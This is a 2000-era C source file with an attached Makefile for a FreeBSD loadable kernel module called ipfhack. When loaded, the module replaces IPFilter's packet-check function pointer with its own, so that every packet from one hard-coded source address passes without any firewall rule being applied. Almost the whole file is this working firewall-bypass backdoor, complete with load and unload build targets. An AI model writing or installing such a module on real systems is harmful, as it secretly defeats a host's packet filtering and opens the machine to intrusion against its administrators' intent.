/*
 * Name: Filtering IPFiLTER
 * Date: Thu May 18 11:00:59 2000
 * Author: pIGpEN [ pigpen@s0ftpj.org, deadhead@sikurezza.org ]
 *
 * SoftProject 2000 - Digital Sekurity for Y2k
 * Sikurezza.org - Italian Security MailingList
 *
 * COFFEE-WARE LICENSE - This source code is like "THE BEER-WARE LICENSE" by
 * Poul-Henning Kamp <phk@FreeBSD.ORG> but you can give me in return a coffee.
 *
 * Tested on: FreeBSD 3.4-RELEASE FreeBSD 3.4-RELEASE #7: Sun May i386
 *
 * IPFilter (like ipfw) uses a function pointer in ip_input() and ip_output() 
 * in order to process packets ... 
 *
 * if(fr_checkp) {
 *   struct mbuf *m1 = m;
 *   
 *   if((*fr_checkp)(ip, hlen, m->m_pkthdr.rcvif, 0, &m1) || !m1)
 *     return;
 *   ip = mtod(m=m1, struct ip *);
 * }
 *
 * I give you a Makefile in append so don't write me for that !!! :)
 */


#define GO_JOHNNY_GO     "192.168.1.3"  
/* Packets sent by this ip wouldn't process */

#include <sys/param.h>
#include <sys/systm.h>
#include <sys/malloc.h>
#include <sys/mbuf.h>
#include <sys/kernel.h>
#include <sys/proc.h>
#include <sys/socket.h>
#include <sys/socketvar.h>
#include <net/if.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/ip_var.h>



/* IPFILTER FreeBSD Options */

typedef struct ip  ip_t;
typedef struct mbuf  mb_t;

/* A simple typedef for filter check prototypes */

typedef int ipfr_t  __P((ip_t *, int, void *, int, mb_t **));

/* Prototypes */

static int     s_load       __P((struct module *, int, void *));
static u_int32_t inaton      __P((const char *));
extern ipfr_t    *fr_checkp;
static ipfr_t   myfr, *fr;

/* module handler */

static int
s_load (struct module *module, int cmd, void *arg)
{
  int s;

  switch(cmd) {
    case MOD_LOAD:
      s = splnet();
      fr = fr_checkp;
      fr_checkp = myfr;
             splx(s);
      break;
      
    case MOD_UNLOAD:
      s = splnet();
      fr_checkp = fr;
      splx(s);
      break;
  }

   return 0;
}

/* module struct */

static moduledata_t s_mod_1 = {
          "ipfil_mod",
          s_load,
          0
};


DECLARE_MODULE(ipfil_mod, s_mod_1, SI_SUB_PSEUDO, SI_ORDER_ANY);

static int
myfr(ip_t *ip, int hlen, void *ifp, int out, mb_t **mp)
{
  if(ip->ip_src.s_addr == inaton(GO_JOHNNY_GO)) 
    return 0;
    
  return(fr(ip, hlen, ifp, out, mp));
}


static u_int32_t 
inaton(const char *str)
{
  unsigned long l;
  unsigned int val;
  int i;

  l = 0;

  for(i=0; i < 4; i++) {
    l <<= 8;
    if(*str != '\0') {
      val = 0;
      while(*str != '\0' && *str != '.') {
        val *= 10;
        val += *str - '0';
        str++;
      }
      l |= val;
      if(*str != '\0')
        str++;
    }
  }
  return(htonl(l));
}
/*
# SoftProject 2000 - Digital Sekurity for Y2k
# Sikurezza.org - Italian Security MailingList
#
# COFFEE-WARE LICENSE - This source code is like "THE BEER-WARE LICENSE" by
# Poul-Henning Kamp <phk@FreeBSD.ORG> but you can give me in return a coffee.
#
# Tested on: FreeBSD 3.4-RELEASE FreeBSD 3.4-RELEASE #3: Thu Mar i386
# < pigpen@s0ftpj.org > 

.PATH: /sys/kern
SRCS  = ipfhack.c 
CFLAGS+= -I/sys
KMOD  = ipfhack 
NOMAN  = t
KLDMOD  = t

KLDLOAD    = /sbin/kldload
KLDUNLOAD  = /sbin/kldunload

CLEANFILES+= ${KMOD}

load:
  ${KLDLOAD} -v ./${KMOD}

unload:
  ${KLDUNLOAD} -v -n ${KMOD}

.include <bsd.kmod.mk>
*/